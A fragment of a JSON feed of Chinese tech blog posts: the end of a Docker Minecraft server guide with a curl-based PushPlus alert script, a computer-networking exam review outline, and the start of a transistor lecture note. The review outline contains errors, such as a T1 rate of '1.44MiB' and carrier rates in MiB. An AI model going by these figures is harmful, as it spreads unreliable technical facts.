class=\"built_in\"\u003eexec\u003c/span\u003e -it \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e sh\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e# 无效参数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Invalid argument: \u003cspan class=\"variable\"\u003e$1\u003c/span\u003e\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eecho\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;Usage: \u003cspan class=\"variable\"\u003e$0\u003c/span\u003e run|start|stop|restart|log\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eexit\u003c/span\u003e 2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eesac\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 打印容器状态\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003edocker ps -a | grep \u003cspan class=\"variable\"\u003e$CONTAINER_NAME\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e同样,保证目录下有一个\u003ccode\u003efrpc.ini\u003c/code\u003e文件。每次编辑完成后,需要删除原来的容器重新启动一个。\u003c/p\u003e\u003cp\u003e还有一个使用\u003ccode\u003epushplus\u003c/code\u003e简单的监控脚本:\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#!/bin/bash\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003etoken=\u003cspan class=\"string\"\u003e\u0026#34;your_token_here\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003eurl=http://www.pushplus.plus/send\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ebash mc.sh \u003cspan class=\"built_in\"\u003elog\u003c/span\u003e | grep -E --line-buffered \u003cspan class=\"string\"\u003e\u0026#34;error|fail|warn\u0026#34;\u003c/span\u003e |\\\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"built_in\"\u003eread\u003c/span\u003e line; \u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edo\u003c/span\u003e json=\u003cspan class=\"string\"\u003e\u0026#34;{\\\u0026#34;token\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$token\u003c/span\u003e\\\u0026#34;, \\\u0026#34;title\\\u0026#34;: \\\u0026#34;MC服务端异常报警\\\u0026#34;, \\\u0026#34;content\\\u0026#34;: \\\u0026#34;\u003cspan class=\"variable\"\u003e$line\u003c/span\u003e\\\u0026#34;}\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ecurl -H \u003cspan class=\"string\"\u003e\u0026#34;Content-Type: application/json\u0026#34;\u003c/span\u003e -X POST -d \u003cspan class=\"string\"\u003e\u0026#34;\u003cspan class=\"variable\"\u003e$json\u003c/span\u003e\u0026#34;\u003c/span\u003e \u003cspan class=\"variable\"\u003e$url\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003edone\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e它会\u003cstrong\u003e每次从日志开始读取日志\u003c/strong\u003e,将报错信息发送给PushPlus API。我一般会在微信上收报警消息。不过每次从日志开始读取日志确实不太好(会重复发送以前的错误信息)。这个回头得改一改。要么每次退出时清空日志,要么设置个读取行指示的全局变量。\u003c/p\u003e\u003cp\u003e就是这样啦。\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/07/%E6%B8%B8%E6%88%8F/Minecraft/%E7%94%A8Docker%E5%BC%80%E4%B8%AAMC%E6%9C%8D%E5%8A%A1%E5%99%A8/"},{"title":"计网笔记:复习","time":"2023-06-07T07:06:44Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch2 id=\"Chap-1-概述\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-1-%E6%A6%82%E8%BF%B0\" class=\"headerlink\" title=\"Chap.1.概述\"\u003e\u003c/a\u003eChap.1.概述\u003c/h2\u003e\u003col\u003e\u003cli\u003e\u003cstrong\u003e数据通信的概念及模型\u003c/strong\u003e:报文、接收方、传输协议等\u003c/li\u003e\u003cli\u003e数据流\u003c/li\u003e\u003cli\u003e计算机网络的概念\u003c/li\u003e\u003cli\u003e网络的三个准则\u003c/li\u003e\u003cli\u003e链路的概念\u003c/li\u003e\u003cli\u003e拓扑结构:网状、星形、主干形\u003c/li\u003e\u003cli\u003e网络模型的概念\u003c/li\u003e\u003cli\u003e网络分类\u003c/li\u003e\u003cli\u003e因特网的历史:前身-ARPANET\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e协议的概念和三个要素\u003c/strong\u003e:p13,语法(数据结构)、语义和时序\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-2-网络模型\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-2-%E7%BD%91%E7%BB%9C%E6%A8%A1%E5%9E%8B\" class=\"headerlink\" title=\"Chap.2.网络模型\"\u003e\u003c/a\u003eChap.2.网络模型\u003c/h2\u003e\u003col start=\"11\"\u003e\u003cli\u003e分层的概念\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eOSI模型概念和各层功能\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP/IP协议簇和各层功能\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e地址:物理/逻辑/端口地址\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-3-物理层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-3-%E7%89%A9%E7%90%86%E5%B1%82\" class=\"headerlink\" title=\"Chap.3.物理层\"\u003e\u003c/a\u003eChap.3.物理层\u003c/h2\u003e\u003col start=\"15\"\u003e\u003cli\u003e数字信号:\u003c/li\u003e\u003cli\u003e传输减损:\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数据速率限制\u003c/strong\u003e:乃亏斯特定理、香浓容量定理\u003c/li\u003e\u003cli\u003e性能:\u003cstrong\u003e带宽、吞吐量、\u003c/strong\u003e延迟、\u003cstrong\u003e传播时间、传输时间\u003c/strong\u003e、排队时间、带宽与延迟的乘积和概念\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-4-数字传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-4-%E6%95%B0%E5%AD%97%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.4.数字传输\"\u003e\u003c/a\u003eChap.4.数字传输\u003c/h2\u003e\u003col start=\"19\"\u003e\u003cli\u003e线路编码\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e线路编码方案(重要)\u003c/strong\u003e:NRZ、NRZ-L/I、RZ、\u003cstrong\u003e双相码\u003c/strong\u003e、双极性编码。这里的差分编码根据初始值不同,可能有两个答案\u003c/li\u003e\u003cli\u003e块编码\u003c/li\u003e\u003cli\u003e扰码\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e脉码调制PCM\u003c/strong\u003e:采样(\u003cstrong\u003e采样率\u0026gt;=2倍最高频率\u003c/strong\u003e)、量化等级、简化误差\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-5-模拟传输\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-5-%E6%A8%A1%E6%8B%9F%E4%BC%A0%E8%BE%93\" class=\"headerlink\" title=\"Chap.5.模拟传输\"\u003e\u003c/a\u003eChap.5.模拟传输\u003c/h2\u003e\u003col start=\"27\"\u003e\u003cli\u003e了解基本概念和原理即可。\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-6-带宽利用\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-6-%E5%B8%A6%E5%AE%BD%E5%88%A9%E7%94%A8\" class=\"headerlink\" title=\"Chap.6.带宽利用\"\u003e\u003c/a\u003eChap.6.带宽利用\u003c/h2\u003e\u003col start=\"28\"\u003e\u003cli\u003e复用:FDM、同步/统计TDM(了解)、WDM\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数字层次、T1载波(速率1.44MiB)、E1载波(2.048MiB)\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-7-传输介质\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-7-%E4%BC%A0%E8%BE%93%E4%BB%8B%E8%B4%A8\" class=\"headerlink\" title=\"Chap.7.传输介质\"\u003e\u003c/a\u003eChap.7.传输介质\u003c/h2\u003e\u003col start=\"33\"\u003e\u003cli\u003e导向介质:双绞线(电信号,易受干扰)、同轴电缆、光纤(抗干扰能力最强)\u003c/li\u003e\u003cli\u003e无线传输介质\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-8-交换\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-8-%E4%BA%A4%E6%8D%A2\" class=\"headerlink\" title=\"Chap.8.交换\"\u003e\u003c/a\u003eChap.8.交换\u003c/h2\u003e\u003col start=\"35\"\u003e\u003cli\u003e\u003cstrong\u003e电路交换特点\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e数据报交换特点\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e虚电路交换特点\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-9-过\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-9-%E8%BF%87\" class=\"headerlink\" title=\"Chap.9.过\"\u003e\u003c/a\u003eChap.9.过\u003c/h2\u003e\u003ch2 id=\"Chap-10-检错和纠错\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-10-%E6%A3%80%E9%94%99%E5%92%8C%E7%BA%A0%E9%94%99\" class=\"headerlink\" title=\"Chap.10.检错和纠错\"\u003e\u003c/a\u003eChap.10.检错和纠错\u003c/h2\u003e\u003col start=\"41\"\u003e\u003cli\u003e\u003cstrong\u003e纠错的概念和方法\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e循环冗余编码CRC(重要)\u003c/strong\u003e(不包含硬件实现、注意除数的长度)、CRC的检错能力分析(检测单个位差错、两个独立位差错、奇数个差错、突发性差错)\u003c/li\u003e\u003cli\u003e校验和及其计算方法\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-11-数据链路层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-11-%E6%95%B0%E6%8D%AE%E9%93%BE%E8%B7%AF%E5%B1%82\" class=\"headerlink\" title=\"Chap.11.数据链路层\"\u003e\u003c/a\u003eChap.11.数据链路层\u003c/h2\u003e\u003col start=\"50\"\u003e\u003cli\u003e\u003cstrong\u003e停止等待ARQ、后退N帧ARQ和选择重发ARQ、窗口、最大链路利用率\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eHDLC\u003c/strong\u003e\u003c/li\u003e\u003cli\u003ePPP协议\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-12-多路访问\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-12-%E5%A4%9A%E8%B7%AF%E8%AE%BF%E9%97%AE\" class=\"headerlink\" title=\"Chap.12.多路访问\"\u003e\u003c/a\u003eChap.12.多路访问\u003c/h2\u003e\u003col start=\"53\"\u003e\u003cli\u003e随机访问:纯ALOHA、时隙ALOHA、CSMA、\u003cstrong\u003eCSMA/CD\u003c/strong\u003e、CSMA/CA、\u003cstrong\u003e最小帧长、传播时长\u003c/strong\u003e\u003c/li\u003e\u003c/ol\u003e\u003ch2 id=\"Chap-13-14-有线-x2F-无线局域网\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-13-14-%E6%9C%89%E7%BA%BF-x2F-%E6%97%A0%E7%BA%BF%E5%B1%80%E5%9F%9F%E7%BD%91\" class=\"headerlink\" title=\"Chap.13-14.有线/无线局域网\"\u003e\u003c/a\u003eChap.13-14.有线/无线局域网\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e标准以太网的MAC子层\u003c/strong\u003e:帧格式、MAC地址、最短帧长等\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e802.11MAC子层、帧结构\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-15-连接局域网、主干网和虚拟局域网\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-15-%E8%BF%9E%E6%8E%A5%E5%B1%80%E5%9F%9F%E7%BD%91%E3%80%81%E4%B8%BB%E5%B9%B2%E7%BD%91%E5%92%8C%E8%99%9A%E6%8B%9F%E5%B1%80%E5%9F%9F%E7%BD%91\" class=\"headerlink\" title=\"Chap.15.连接局域网、主干网和虚拟局域网\"\u003e\u003c/a\u003eChap.15.连接局域网、主干网和虚拟局域网\u003c/h2\u003e\u003cul\u003e\u003cli\u003e连接设备:\u003cstrong\u003e透明网桥、二层交换机(它没有IP地址)、路由器\u003c/strong\u003e、无源集线器、中继器、有源集线器、网桥、生成树、三层交换机\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e虚拟局域网的概念及划分方法\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-19-逻辑寻址(重要)\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-19-%E9%80%BB%E8%BE%91%E5%AF%BB%E5%9D%80%EF%BC%88%E9%87%8D%E8%A6%81%EF%BC%89\" class=\"headerlink\" title=\"Chap.19.逻辑寻址(重要)\"\u003e\u003c/a\u003eChap.19.逻辑寻址(重要)\u003c/h2\u003e\u003cul\u003e\u003cli\u003eIPV4地址:ABCDE类地址\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e掩码、子网和超网的概念\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e子网划分\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e无类别域间路由CIDR\u003c/strong\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-20-IP协议\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-20-IP%E5%8D%8F%E8%AE%AE\" class=\"headerlink\" title=\"Chap.20.IP协议\"\u003e\u003c/a\u003eChap.20.IP协议\u003c/h2\u003e\u003cp\u003e字段有啥大概也记一下\u003c/p\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eIP分组(数据报的格式)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e分片与MTU(以太网最大是1500)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eIPV4校验和\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eIPV6分组格式、\u003cstrong\u003e零压缩规则\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eIPV4和IPV6混合\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-21-地址映射、差错报告和多播\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-21-%E5%9C%B0%E5%9D%80%E6%98%A0%E5%B0%84%E3%80%81%E5%B7%AE%E9%94%99%E6%8A%A5%E5%91%8A%E5%92%8C%E5%A4%9A%E6%92%AD\" class=\"headerlink\" title=\"Chap.21.地址映射、差错报告和多播\"\u003e\u003c/a\u003eChap.21.地址映射、差错报告和多播\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eARP概念\u003c/strong\u003e、分组格式、封装、四种操作\u003c/li\u003e\u003cli\u003eDHCP概念\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eICMP(重点)\u003c/strong\u003e:概念、\u003cstrong\u003e报文格式\u003c/strong\u003e、\u003cstrong\u003e差错报告(5种)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003eIGMP的基本概念\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-22-传递、转发、路由选择\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-22-%E4%BC%A0%E9%80%92%E3%80%81%E8%BD%AC%E5%8F%91%E3%80%81%E8%B7%AF%E7%94%B1%E9%80%89%E6%8B%A9\" class=\"headerlink\" title=\"Chap.22.传递、转发、路由选择\"\u003e\u003c/a\u003eChap.22.传递、转发、路由选择\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003e转发技术、转发过程\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e路由表、地址聚合、最长掩码匹配\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e路由算法(重点):Dijkstra(很重要)、Bellman Ford算法(重要)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003e单播路由协议:AS概念、RIP协议(基于距离向量)、OSPF协议(基于状态向量)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e多播的概念和多播路由(了解)\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-23-UDP、TCP、SCTP\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-23-UDP%E3%80%81TCP%E3%80%81SCTP\" class=\"headerlink\" title=\"Chap.23.UDP、TCP、SCTP\"\u003e\u003c/a\u003eChap.23.\u003cstrong\u003eUDP、TCP\u003c/strong\u003e、SCTP\u003c/h2\u003e\u003cul\u003e\u003cli\u003e端口、套接字\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eUDP:概念、结构、校验和、操作\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP:特点、服务、文段格式\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP连接建立和拆除\u003c/strong\u003e\u003cul\u003e\u003cli\u003e学会画连接过程图:注意标注清楚seq,ack等字段\u003c/li\u003e\u003c/ul\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP流量控制(信贷划窗协议)\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e\u003cstrong\u003eTCP差错控制\u003c/strong\u003e:主要是重传(超时/快速)\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-24-拥塞控制和服务质量\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-24-%E6%8B%A5%E5%A1%9E%E6%8E%A7%E5%88%B6%E5%92%8C%E6%9C%8D%E5%8A%A1%E8%B4%A8%E9%87%8F\" class=\"headerlink\" title=\"Chap.24.拥塞控制和服务质量\"\u003e\u003c/a\u003eChap.24.拥塞控制和服务质量\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cstrong\u003eTCP拥塞控制\u003c/strong\u003e\u003c/li\u003e\u003cli\u003e服务质量\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"Chap-25-27-应用层\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/#Chap-25-27-%E5%BA%94%E7%94%A8%E5%B1%82\" class=\"headerlink\" title=\"Chap.25-27.应用层\"\u003e\u003c/a\u003eChap.25-27.应用层\u003c/h2\u003e\u003cul\u003e\u003cli\u003eFTP端口用两个端口20和21,一个用来传数据,一个用来传控制信息。\u003c/li\u003e\u003cli\u003e电子邮件协议:SMTP、MIME、POP3、IMAP等\u003c/li\u003e\u003cli\u003eTelnet\u003c/li\u003e\u003cli\u003eHTTP、DNS等、Cookies、URL等\u003c/li\u003e\u003c/ul\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://xeonds.github.io/2023/06/07/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%BD%91%E7%BB%9C/%E8%AE%A1%E7%BD%91%E7%AC%94%E8%AE%B0%EF%BC%9A%E5%A4%8D%E4%B9%A0/"},{"title":"模电:第二章-三极管","time":"2023-06-05T09:16:16Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003cp\u003e三级管是模电中最重要的基础器件。其内部电流比较复杂,下面直接讨论其性质。\u003c/p\u003e\u003cul\u003e\u003cli\u003e结构 :三个掺杂区:base, emit, collect\u003c/li\u003e\u003cli\u003e三个电极:base, emit, collect\u003c/li\u003e\u003cli\u003e两个PN结:发射结,集电结\u003c/li\u003e\u003c/ul\u003e\u003cp\u003e三极管有两类,PNP型和NPN型。\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://xeonds.github.io/img/Pasted%20image%2020230606220759.png\"/\u003e\u003c/p\u003e\u003ch2 id=\"三极管特性\"\u003e\u003ca href=\"https://xeonds.github.io/2023/06/05/%E7%89%A9%E7%90%86/%E6%A8%A1%E6%8B%9F%E7%94%B5%E8%B7%AF/%E6%A8%A1%E7%94%B5%EF%BC%9A%E7%AC%AC%E4%BA%8C%E7%AB%A0-%E4%B8%89%E6%9E%81%E7%AE%A1/#%E4%B8%89%E6%9E%81%E7%AE%A1%E7%89%B9%E6%80%A7\" 